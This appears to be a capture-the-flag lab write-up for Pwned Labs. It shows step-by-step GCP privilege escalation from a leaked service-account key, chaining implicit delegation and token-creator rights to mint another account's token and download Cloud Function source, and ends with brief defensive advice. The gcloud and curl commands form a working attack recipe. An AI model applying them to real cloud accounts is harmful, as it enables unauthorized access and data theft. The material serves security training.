Escalate GCP privileges with Implicit Delegation
Escalate GCP privileges with Implicit Delegation
Scenario
A GCP service account key has been found leaked on Pastebin after some time… and the client has asked for our help to identify the blast radius and potential impact of the compromised account. Your objective is to see if you can escalate privileges from this service account and access sensitive data.
Walkthrough
We are given user-created service account key file sv1-337@gr-proj-1.iam.gserviceaccount.com.json
1
2
3
4
5
6
7
8
9
10
11
12
13
14
└─$ cat sv1-337@gr-proj-1.iam.gserviceaccount.com.json
{
"type": "service_account",
"project_id": "gr-proj-1",
"private_key_id": "02f2902e3e65578195c4f36fe507162edfa402fe",
"private_key": "<REDACTED>",
"client_email": "sv1-337@gr-proj-1.iam.gserviceaccount.com",
"client_id": "111427737805377123038",
"auth_uri": "https://accounts.google.com/o/oauth2/auth",
"token_uri": "https://oauth2.googleapis.com/token",
"auth_provider_x509_cert_url": "https://www.googleapis.com/oauth2/v1/certs",
"client_x509_cert_url": "https://www.googleapis.com/robot/v1/metadata/x509/sv1-337%40gr-proj-1.iam.gserviceaccount.com",
"universe_domain": "googleapis.com"
}
Let’s authenticate using provided credentials
1
2
3
└─$ gcloud auth activate-service-account --key-file=sv1-337@gr-proj-1.iam.gserviceaccount.com.json
Activated service account credentials for: [sv1-337@gr-proj-1.iam.gserviceaccount.com]
We can start listing the service accounts in the current project and we see number of default and custom GCP service accounts.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
└─$ gcloud iam service-accounts list --project gr-proj-1
DISPLAY NAME EMAIL DISABLED
Intermediate-Account-dev-team intermediate-account-dev-team@gr-proj-1.iam.gserviceaccount.com False
frontend-dev-buckets frontend-dev-buckets@gr-proj-1.iam.gserviceaccount.com False
sv1 sv1-337@gr-proj-1.iam.gserviceaccount.com False
setmetadata setmetadata@gr-proj-1.iam.gserviceaccount.com False
Compute Engine default service account 212055223570-compute@developer.gserviceaccount.com False
devops-re devops-re@gr-proj-1.iam.gserviceaccount.com False
internal-Web-Dev-Team internal-web-dev-team@gr-proj-1.iam.gserviceaccount.com False
App Engine default service account gr-proj-1@appspot.gserviceaccount.com False
appdev appdev@gr-proj-1.iam.gserviceaccount.com False
sv3 sv3-939@gr-proj-1.iam.gserviceaccount.com False
BucketViewer bucketviewer@gr-proj-1.iam.gserviceaccount.com False
sv2 sv2-962@gr-proj-1.iam.gserviceaccount.com False
We can try viewing the individual permissions of specific accounts. It can be done at the project or individual service account level, but at the project level can make it a bit more difficult to visualize and understand due to the number of identity and role bindings. Let’s check the roles and permissions of the compromised account sv1-337@gr-proj-1.iam.gserviceaccount.com
1
2
3
4
5
6
7
8
└─$ gcloud iam service-accounts get-iam-policy sv1-337@gr-proj-1.iam.gserviceaccount.com
bindings:
- members:
- serviceAccount:sv1-337@gr-proj-1.iam.gserviceaccount.com
role: projects/gr-proj-1/roles/CustomFrontendAppDevRole
etag: BwYRl9qKJQs=
version: 1
We see a binding for CustomFrontendAppDevRole
. Let’s check the permissions granted by this role
1
2
3
4
5
6
7
8
9
10
11
12
13
└─$ gcloud iam roles describe CustomFrontendAppDevRole --project=gr-proj-1
description: 'Created on: 2024-02-17 Based on: Frontend AppDevRole'
etag: BwYRl9erE9w=
includedPermissions:
- iam.roles.get
- iam.roles.list
- iam.serviceAccounts.getIamPolicy
- iam.serviceAccounts.list
- resourcemanager.projects.get
- resourcemanager.projects.getIamPolicy
name: projects/gr-proj-1/roles/CustomFrontendAppDevRole
stage: ALPHA
title: List_IAM_POLICY
We can only list service accounts and view the IAM policies
Let’s examine some other IAM policies in the GCP project, starting with service account sv2-962@gr-proj-1.iam.gserviceaccount.com
which could be related to our compromised account:
1
2
3
4
5
6
7
└─$ gcloud iam service-accounts get-iam-policy sv2-962@gr-proj-1.iam.gserviceaccount.com
bindings:
- members:
- serviceAccount:sv1-337@gr-proj-1.iam.gserviceaccount.com
role: projects/gr-proj-1/roles/CustomRole736
etag: BwYRl-GgV2c=
version: 1
sv2-962@gr-proj-1.iam.gserviceaccount.com
is bound to the custom role CustomRole736
, so let’s examine it
1
2
3
4
5
6
7
8
└─$ gcloud iam roles describe CustomRole736 --project=gr-proj-1
description: 'Created on: 2024-02-17'
etag: BwYRl94lEVg=
includedPermissions:
- iam.serviceAccounts.implicitDelegation
name: projects/gr-proj-1/roles/CustomRole736
stage: ALPHA
title: Implicit_delegation
CustomRole736
grants the dangerous permission iam.serviceAccounts.implicitDelegation
, which allows sv1-337
to execute commands as sv2-962
without explicit consent. Implicit delegation allows one user or service account to perform actions on behalf of another user or service account without needing explicit consent. This is often used in scenarios where an application needs access to GCP resources on behalf another identity. Such resources could be anything, from Cloud Storage buckets to Compute Engine instances (VMs).
Let’s check the IAM roles and permissions of the sv3-939@gr-proj-1.iam.gserviceaccount.com
1
2
3
4
5
6
7
8
└─$ gcloud iam service-accounts get-iam-policy sv3-939@gr-proj-1.iam.gserviceaccount.com
bindings:
- members:
- serviceAccount:sv2-962@gr-proj-1.iam.gserviceaccount.com
role: roles/iam.serviceAccountTokenCreator
etag: BwYR0jQnfO0=
version: 1
Seems that sv2-962@gr-proj-1.iam.gserviceaccount.com
can create create access tokens for the service account sv3-939@gr-proj-1.iam.gserviceaccount.com
. It can be exploited to escalate privileges from the service account sv1-337
to sv3-939
by leveraging the implicit delegation and create token privileges
The blog post from Rhino Security Labs is recommended reading to learn about this and other privilege escalation techniques.
Start the attack and escalate the privileges to sv3-939@gr-proj-1.iam.gserviceaccount.com
. First, print the access token of sv1-337
1
2
└─$ gcloud auth print-access-token
<REDACTED>
Then generate an access token for sv3-939@gr-proj-1.iam.gserviceaccount.com
using curl
command. We use the implicit delegation privilege between the sv1
and sv2
service accounts to generate an access token for the sv3
service account. We authenticate using the srv1
token, specify srv2
as a delegate, and send the request to the API endpoint to generate an API token for srv3
1
2
3
4
5
6
7
8
9
10
11
└─$ curl -X POST \
"https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/sv3-939@gr-proj-1.iam.gserviceaccount.com:generateAccessToken?access_token=<REDACTED>" \
-H "Content-Type: application/json" \
--data '{
"delegates": ["projects/-/serviceAccounts/'"sv2-962@gr-proj-1.iam.gserviceaccount.com"'"],
"scope": ["https://www.googleapis.com/auth/cloud-platform"]
}'
{
"accessToken": "<REDACTED>",
"expireTime": "2025-09-08T16:09:25Z"
}
We have generated an access token for sv3-939@gr-proj-1.iam.gserviceaccount.com
, which we can validate
1
2
3
4
5
6
7
8
9
└─$ curl https://www.googleapis.com/oauth2/v3/tokeninfo?access_token=<REDACTED>
{
"azp": "107592944455085205950",
"aud": "107592944455085205950",
"scope": "https://www.googleapis.com/auth/cloud-platform",
"exp": "1757347765",
"expires_in": "3483",
"access_type": "online"
}
Now use gcp-iam-brute to brute force IAM permissions for sv3-939@gr-proj-1.iam.gserviceaccount.com
. Although in this case we have permission to directly enumerate the IAM policies for any IAM user in the project, this tool is helpful since we are less likely to have permissions in real engagement to list IAM permissions
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
└─$ python3 main.py --access-token <REDACTED> --project-id gr-proj-1 --service-account-email sv3-939@gr-proj-1.iam.gserviceaccount.com
⠹ Fuzzing...
Role: securitycenter.securityResponseServiceAgent.json
{'permissions': ['storage.buckets.get']}
========================================
<SNIP>
⠙ Fuzzing...
Role: storage.legacyBucketWriter.json
{'permissions': ['storage.buckets.get', 'storage.managedFolders.get', 'storage.managedFolders.list', 'storage.multipartUploads.list', 'storage.objects.list']}
<SNIP>
⠧ Fuzzing...
Role: eventarc.serviceAgent.json
{'permissions': ['cloudfunctions.functions.get', 'storage.buckets.get']}
<SNIP>
We see that sv3-939@gr-proj-1.iam.gserviceaccount.com
has some permissions related to Cloud Functions. Let’s numerate them. Thus, set the token for srv3
as a variable with the command export ACCESS_TOKEN=<SRv3_ACCESS_TOKEN>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
└─$ curl -H "Authorization: Bearer $ACCESS_TOKEN" \
"https://cloudfunctions.googleapis.com/v1/projects/gr-proj-1/locations/-/functions"
{
"functions": [
{
"name": "projects/gr-proj-1/locations/us-central1/functions/function-1",
"httpsTrigger": {
"url": "https://us-central1-gr-proj-1.cloudfunctions.net/function-1",
"securityLevel": "SECURE_ALWAYS"
},
"status": "ACTIVE",
"entryPoint": "github_webhook",
"timeout": "60s",
"availableMemoryMb": 256,
"serviceAccountEmail": "bucketviewer@gr-proj-1.iam.gserviceaccount.com",
"updateTime": "2024-02-17T19:24:00.822Z",
"versionId": "2",
"labels": {
"deployment-tool": "console-cloud"
},
"sourceUploadUrl": "https://storage.googleapis.com/uploads-889535551524.us-central1.cloudfunctions.appspot.com/c20edf92-3ac6-49e6-8474-a55f93bd6244.zip",
"runtime": "python310",
"maxInstances": 1,
"ingressSettings": "ALLOW_ALL",
"buildId": "7663008c-dcb0-490c-8745-13ae87f46f14",
"buildName": "projects/212055223570/locations/us-central1/builds/7663008c-dcb0-490c-8745-13ae87f46f14",
"dockerRegistry": "ARTIFACT_REGISTRY",
"automaticUpdatePolicy": {},
"satisfiesPzi": true
}
]
}
We see the function named function-1
. Google Cloud Function code gets stored in a Google Cloud Storage bucket. Although we don’t know the exact bucket name, it’s worth noting that GCP uses a predictable naming format for Cloud Function buckets. The bucket naming format is gcf-sources-<buildnumber>-<region>
:
gcf-sources
: A hardcoded value212055223570
: The build number (included above with the buildName key)us-central1
: The region
Let’s see if this bucket exists
1
└─$ BUCKET_NAME="gcf-sources-212055223570-us-central1"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
└─$ curl -X GET -H "Authorization: Bearer $ACCESS_TOKEN" "https://storage.googleapis.com/storage/v1/b/$BUCKET_NAME/o"
{
"kind": "storage#objects",
"items": [
{
"kind": "storage#object",
"id": "gcf-sources-212055223570-us-central1/DO_NOT_DELETE_THE_BUCKET.md/1708197659276058",
"selfLink": "https://www.googleapis.com/storage/v1/b/gcf-sources-212055223570-us-central1/o/DO_NOT_DELETE_THE_BUCKET.md",
"mediaLink": "https://storage.googleapis.com/download/storage/v1/b/gcf-sources-212055223570-us-central1/o/DO_NOT_DELETE_THE_BUCKET.md?generation=1708197659276058&alt=media",
"name": "DO_NOT_DELETE_THE_BUCKET.md",
"bucket": "gcf-sources-212055223570-us-central1",
"generation": "1708197659276058",
"metageneration": "1",
"contentType": "application/octet-stream",
"storageClass": "STANDARD",
"size": "200",
"md5Hash": "OQa/JpF3xZ3EUq3UfX9Q7A==",
"crc32c": "Wx6VDg==",
"etag": "CJrmv5WMs4QDEAE=",
"timeCreated": "2024-02-17T19:20:59.279Z",
"updated": "2024-02-17T19:20:59.279Z",
"timeStorageClassUpdated": "2024-02-17T19:20:59.279Z",
"timeFinalized": "2024-02-17T19:20:59.279Z"
},
{
"kind": "storage#object",
"id": "gcf-sources-212055223570-us-central1/function-1-8678e4fb-cf43-4d97-b877-6512729bdba4/version-1/function-source.zip/1708197659454839",
"selfLink": "https://www.googleapis.com/storage/v1/b/gcf-sources-212055223570-us-central1/o/function-1-8678e4fb-cf43-4d97-b877-6512729bdba4%2Fversion-1%2Ffunction-source.zip",
"mediaLink": "https://storage.googleapis.com/download/storage/v1/b/gcf-sources-212055223570-us-central1/o/function-1-8678e4fb-cf43-4d97-b877-6512729bdba4%2Fversion-1%2Ffunction-source.zip?generation=1708197659454839&alt=media",
"name": "function-1-8678e4fb-cf43-4d97-b877-6512729bdba4/version-1/function-source.zip",
"bucket": "gcf-sources-212055223570-us-central1",
"generation": "1708197659454839",
"metageneration": "1",
"contentType": "application/zip",
"storageClass": "STANDARD",
"size": "883",
"md5Hash": "Z9foPEdXl4NJ7gsY9SqzAw==",
"crc32c": "i+rrVg==",
"etag": "CPfaypWMs4QDEAE=",
"timeCreated": "2024-02-17T19:20:59.457Z",
"updated": "2024-02-17T19:20:59.457Z",
"timeStorageClassUpdated": "2024-02-17T19:20:59.457Z",
"timeFinalized": "2024-02-17T19:20:59.457Z"
},
{
"kind": "storage#object",
"id": "gcf-sources-212055223570-us-central1/function-1-8678e4fb-cf43-4d97-b877-6512729bdba4/version-2/function-source.zip/1708197786687849",
"selfLink": "https://www.googleapis.com/storage/v1/b/gcf-sources-212055223570-us-central1/o/function-1-8678e4fb-cf43-4d97-b877-6512729bdba4%2Fversion-2%2Ffunction-source.zip",
"mediaLink": "https://storage.googleapis.com/download/storage/v1/b/gcf-sources-212055223570-us-central1/o/function-1-8678e4fb-cf43-4d97-b877-6512729bdba4%2Fversion-2%2Ffunction-source.zip?generation=1708197786687849&alt=media",
"name": "function-1-8678e4fb-cf43-4d97-b877-6512729bdba4/version-2/function-source.zip",
"bucket": "gcf-sources-212055223570-us-central1",
"generation": "1708197786687849",
"metageneration": "1",
"contentType": "application/zip",
"storageClass": "STANDARD",
"size": "879",
"md5Hash": "J6hVW5YFa2Dyso/xOfQ6Jg==",
"crc32c": "3wEYjw==",
"etag": "COmyoNKMs4QDEAE=",
"timeCreated": "2024-02-17T19:23:06.691Z",
"updated": "2024-02-17T19:23:06.691Z",
"timeStorageClassUpdated": "2024-02-17T19:23:06.691Z",
"timeFinalized": "2024-02-17T19:23:06.691Z"
}
]
}
It exists, so let’s download the source code and inspect it
1
└─$ FILE_URL="https://www.googleapis.com/download/storage/v1/b/gcf-sources-212055223570-us-central1/o/function-1-8678e4fb-cf43-4d97-b877-6512729bdba4%2Fversion-2%2Ffunction-source.zip?generation=1708197786687849&alt=media"
1
2
3
4
5
└─$ curl -o function-source.zip -H "Authorization: Bearer $ACCESS_TOKEN" "$FILE_URL"
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 879 100 879 0 0 975 0 --:--:-- --:--:-- --:--:-- 975
s
1
2
3
4
5
└─$ unzip function-source.zip
Archive: function-source.zip
inflating: main.py
inflating: requirements.txt
inflating: flag.txt
Attack path
Attack path visualization created by Thibault Gardet for Pwned Labs
Defense
Based on lab’s Defense section.
- Keep track of who has been assigned these permissions, and to monitor for their use.
- It’s worth taking a purple approach and periodically assessing the security of your infrastructure through simulated breaches such as this (in addition to periodic penetration testing), to help with understanding the blast radius of various accounts, were they to be compromised.